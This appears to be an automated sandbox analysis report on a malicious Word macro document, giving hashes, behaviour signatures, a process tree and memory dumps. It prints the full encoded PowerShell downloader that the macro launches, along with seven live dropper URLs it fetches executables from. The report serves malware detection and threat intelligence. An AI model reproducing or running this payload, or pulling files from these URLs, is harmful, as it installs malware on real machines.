Analysis

  • max time kernel
    120s
  • max time network
    121s
  • platform
    windows7_x64
  • resource
    win7-20240508-en
  • resource tags

    arch:x64arch:x86image:win7-20240508-enlocale:en-usos:windows7-x64system
  • submitted
    09/05/2024, 12:33

General

  • Target

    29fd088cb83748a57f6a83fc503497d0_JaffaCakes118.doc

  • Size

    191KB

  • MD5

    29fd088cb83748a57f6a83fc503497d0

  • SHA1

    e41bf0cf7be26d982c71708701bca85907f3cf6c

  • SHA256

    e269566d0ec9e6b79d184105ad80a51ff32b0894f2d07d60a2080c0267924f90

  • SHA512

    162786978573d016fada8b2d8c4e377f14820fe7a1b767c339b9540463c94dcc41053046fad9c82f300aec3183d01fc1015cb82b2568976bcd4909203c576790

  • SSDEEP

    3072:uvHv22TWTogk079THcpOu5UZdNu81zUz4LKTb:E/TX07hHcJQHuezUELYb

Score
10/10

Malware Config

Extracted

Language
ps1
Source
URLs
exe.dropper

http://minershallmuseum.com/documents/D/

exe.dropper

http://injazjordan.com/moodle/Vh/

exe.dropper

https://site1.xyz/wp-admin/Y/

exe.dropper

http://2bstone.com/vr7tf0c/ZD/

exe.dropper

http://biology-360.com/wp-admin/hv/

exe.dropper

http://tez-tour.site/wp-content/9sB/

exe.dropper

http://iooe.cn/wp-content/hdO/

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 4 IoCs
  • Drops file in System32 directory 1 IoCs
  • Drops file in Windows directory 1 IoCs
  • Office loads VBA resources, possible macro or embedded object present
  • Modifies Internet Explorer settings 1 TTPs 31 IoCs
  • Modifies registry class 64 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\29fd088cb83748a57f6a83fc503497d0_JaffaCakes118.doc"
    1⤵
    • Drops file in Windows directory
    • Modifies Internet Explorer settings
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:1796
    • C:\Windows\splwow64.exe
      C:\Windows\splwow64.exe 12288
      2⤵
        PID:908
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -en JABaADUAbQA0AHEAYQBwAD0AKAAnAFoAJwArACcAaQAnACsAKAAnAHcAXwBrAHMAJwArACcANwAnACkAKQA7ACYAKAAnAG4AZQAnACsAJwB3AC0AJwArACcAaQB0AGUAbQAnACkAIAAkAEUAbgB2ADoAVQBzAGUAcgBwAFIAbwBGAGkATABlAFwAQQB4AG0AcgBIAEEAVABcAEoANQBjAGsAaQAxADkAXAAgAC0AaQB0AGUAbQB0AHkAcABlACAAZABpAHIARQBDAFQAbwByAFkAOwBbAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgAiAHMARQBgAGMAdQBSAEkAYABUAHkAcABgAFIATwBgAFQATwBDAG8AbAAiACAAPQAgACgAJwB0AGwAJwArACgAJwBzADEAJwArACcAMgAsACAAJwApACsAJwB0ACcAKwAoACcAbABzADEAJwArACcAMQAsACcAKQArACgAJwAgAHQAJwArACcAbABzACcAKQApADsAJABYAG4AOQB0ADYAagB5ACAAPQAgACgAJwBRACcAKwAnAHUAdwAnACsAKAAnADIAJwArACcAdQA0AHQAJwApACkAOwAkAEQAeAAwADUAMwBiAGcAPQAoACcATAAnACsAKAAnAHoAdABiACcAKwAnADgANwAyACcAKQApADsAJABJAHkAYgBtAHgANQBtAD0AJABlAG4AdgA6AHUAcwBlAHIAcAByAG8AZgBpAGwAZQArACgAKAAnAHsAMAAnACsAJwB9AEEAeABtAHIAaABhAHQAewAnACsAJwAwAH0ASgA1AGMAawBpADEAJwArACcAOQB7ADAAJwArACcAfQAnACkALQBmAFsAQwBoAGEAUgBdADkAMgApACsAJABYAG4AOQB0ADYAagB5ACsAKAAoACcALgBlACcAKwAnAHgAJwApACsAJwBlACcAKQA7ACQARgB5AHMAMABvAHQAZQA9ACgAJwBYACcAKwAoACcAMwAnACsAJwB5AHoAZQBoAHoAJwApACkAOwAkAEQAagB0AHgAcQByAG0APQAuACgAJwBuAGUAdwAnACsAJwAtACcAKwAnAG8AYgBqACcAKwAnAGUAYwB0ACcAKQAgAE4AZQB0AC4AVwBlAEIAQwBsAGkAZQBOAHQAOwAkAE4AbAB4AHQAbgBpAGEAPQAoACcAaAAnACsAKAAnAHQAdABwADoALwAvACcAKwAnAG0AaQBuAGUAJwArACcAcgBzAGgAJwArACcAYQBsACcAKQArACgAJwBsAG0AJwArACcAdQBzACcAKQArACgAJwBlACcAKwAnAHUAbQAuACcAKwAnAGMAbwBtAC8AJwApACsAKAAnAGQAbwAnACsAJwBjAHUAJwArACcAbQBlACcAKwAnAG4AdABzAC8ARAAnACkAKwAoACcALwAnACsAJwAqAGgAdAB0AHAAOgAvAC8AaQBuAGoAYQB6ACcAKwAnAGoAJwApACsAKAAnAG8AcgAnACsAJwBkACcAKQArACgAJwBhAG4AJwArACcALgBjAG8AJwApACsAJwBtACcAKwAnAC8AJwArACgAJwBtAG8AJwArACcAbwAnACkAKwAnAGQAbAAnACsAKAAnAGUAJwArACcALwBWAGgAJwArACcALwAqAGgAJwApACsAJwB0AHQAJwArACcAcABzACcAKwAoACcAOgAvACcAKwAnAC8AJwApACsAKAAnAHMAJwArACcAaQAnACsAJwB0AGUAMQAuACcAKQArACgAJwB4ACcAKwAnAHkAegAnACkAKwAoACcALwB3AHAALQBhAGQAbQAnACsAJwBpAG4ALwBZAC8AKgBoACcAKwAnAHQAdABwADoAJwArACcALwAvADIAYgAnACsAJwBzACcAKQArACgAJwB0AG8AbgAnACsAJwBlAC4AYwAnACkAKwAnAG8AbQAnACsAKAAnAC8AJwArACcAdgByACcAKQArACgAJwA3ACcAKwAnAHQAZgAnACkAKwAoACcAMABjACcAKwAnAC8AJwApACsAKAAnAFoAJwArACcARAAvACoAaAAnACsAJwB0AHQAJwArACcAcAA6AC8ALwBiAGkAbwBsACcAKQArACgAJwBvAGcAeQAnACsAJwAtADMAJwApACsAKAAnADYAJwArACcAMAAuACcAKQArACgAJwBjAG8AbQAvACcAKwAnAHcAcAAtAGEAZABtAGkAbgAnACsAJwAvACcAKwAnAGgAdgAvACcAKwAnACoAaAB0AHQAcAA6ACcAKQArACgAJwAvAC8AJwArACcAdAAnACsAJwBlAHoALQB0AG8AdQByACcAKQArACgAJwAuAHMAaQB0ACcAKwAnAGUAJwArACcALwB3AHAALQAnACkAKwAoACcAYwBvAG4AdABlAG4AdAAvACcAKwAnADkAcwAnACsAJwBCAC8AKgBoAHQAdAAnACsAJwBwACcAKQArACcAOgAnACsAKAAnAC8ALwBpAG8AbwBlACcAKwAnAC4AYwBuAC8AdwAnACsAJwBwAC0AYwBvACcAKQArACcAbgB0ACcAKwAnAGUAJwArACgAJwBuACcAKwAnAHQALwAnACkAKwAoACcAaAAnACsAJwBkAE8ALwAnACkAKQAuACIAcwBQAGAAbABJAFQAIgAoAFsAYwBoAGEAcgBdADQAMgApADsAJABIAGEAeAA0AGIAdgA4AD0AKAAnAEEAJwArACcAbwAnACsAKAAnAHUAdgAnACsAJwAwADYAbwAnACkAKQA7AGYAbwByAGUAYQBjAGgAKAAkAE8AawAyAHgAbgA3AGoAIABpAG4AIAAkAE4AbAB4AHQAbgBpAGEAKQB7AHQAcgB5AHsAJABEAGoAdAB4AHEAcgBtAC4AIgBEAG8AdwBuAGAATABvAGEAZABgAEYAaQBsAEUAIgAoACQATwBrADIAeABuADcAagAsACAAJABJAHkAYgBtAHgANQBtACkAOwAkAFYAdgBzADgAbAB1ADgAPQAoACcATgAnACsAKAAnAGQAOAAnACsAJwBhACcAKwAnAG4AcwBkACcAKQApADsASQBmACAAKAAoAC4AKAAnAEcAJwArACcAZQB0AC0ASQB0AGUAbQAnACkAIAAkAEkAeQBiAG0AeAA1AG0AKQAuACIATABgAEUAbgBHAFQAaAAiACAALQBnAGUAIAAyADQANAA2ADgAKQAgAHsALgAoACcASQBuACcAKwAnAHYAbwBrACcAKwAnAGUALQBJACcAKwAnAHQAZQBtACcAKQAoACQASQB5AGIAbQB4ADUAbQApADsAJABJADIAOABqADAAMAB4AD0AKAAnAE8AJwArACgAJwA5ACcAKwAnAGEAMAAnACkAKwAoACcAdAA3ACcAKwAnAGMAJwApACkAOwBiAHIAZQBhAGsAOwAkAFkANwB0AHoANAA3ADMAPQAoACgAJwBBACcAKwAnAGoAOQB6ADgAJwApACsAJwB2AHQAJwApAH0AfQBjAGEAdABjAGgAewB9AH0AJABJAHYAeABkAHIAcwA2AD0AKAAoACcAVwBmADMAJwArACcAdwAnACkAKwAoACcAOAAnACsAJwB5AF8AJwApACkA
      1⤵
      • Process spawned unexpected child process
      • Blocklisted process makes network request
      • Drops file in System32 directory
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2536

    Network

          MITRE ATT&CK Enterprise v15

          Replay Monitor

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          Downloads

          • C:\Users\Admin\AppData\Roaming\Microsoft\Templates\Normal.dotm

            Filesize

            20KB

            MD5

            b016c19dba169036976de0b35064c6ee

            SHA1

            85843b1437aaea0be5a2e5bae88c1d3ffa8ef331

            SHA256

            3a31b28e4dbd02afa4d323d3bd41b23b899bd207c51146a52e618cbc10d1cbc7

            SHA512

            969f5b1db8ac1ffd7931ed15f2c883dba3c06745bb61b0ad6df4cbd891b46f42b6ce25e6e6c7a97b48c68ff277b465c6976daacec87d1c02d884d0e316a7bd89

          • memory/1796-32-0x0000000005180000-0x0000000005280000-memory.dmp

            Filesize

            1024KB

          • memory/1796-50-0x0000000000740000-0x0000000000840000-memory.dmp

            Filesize

            1024KB

          • memory/1796-6-0x0000000000740000-0x0000000000840000-memory.dmp

            Filesize

            1024KB

          • memory/1796-7-0x0000000000740000-0x0000000000840000-memory.dmp

            Filesize

            1024KB

          • memory/1796-8-0x0000000000740000-0x0000000000840000-memory.dmp

            Filesize

            1024KB

          • memory/1796-13-0x0000000005180000-0x0000000005280000-memory.dmp

            Filesize

            1024KB

          • memory/1796-22-0x0000000005180000-0x0000000005280000-memory.dmp

            Filesize

            1024KB

          • memory/1796-0-0x000000002FAC1000-0x000000002FAC2000-memory.dmp

            Filesize

            4KB

          • memory/1796-2-0x000000007183D000-0x0000000071848000-memory.dmp

            Filesize

            44KB

          • memory/1796-68-0x000000007183D000-0x0000000071848000-memory.dmp

            Filesize

            44KB

          • memory/1796-33-0x0000000005180000-0x0000000005280000-memory.dmp

            Filesize

            1024KB

          • memory/1796-67-0x000000005FFF0000-0x0000000060000000-memory.dmp

            Filesize

            64KB

          • memory/1796-49-0x000000007183D000-0x0000000071848000-memory.dmp

            Filesize

            44KB

          • memory/1796-31-0x0000000005180000-0x0000000005280000-memory.dmp

            Filesize

            1024KB

          • memory/1796-51-0x0000000005180000-0x0000000005280000-memory.dmp

            Filesize

            1024KB

          • memory/1796-1-0x000000005FFF0000-0x0000000060000000-memory.dmp

            Filesize

            64KB

          • memory/2536-40-0x00000000028E0000-0x00000000028E8000-memory.dmp

            Filesize

            32KB

          • memory/2536-39-0x000000001B5B0000-0x000000001B892000-memory.dmp

            Filesize

            2.9MB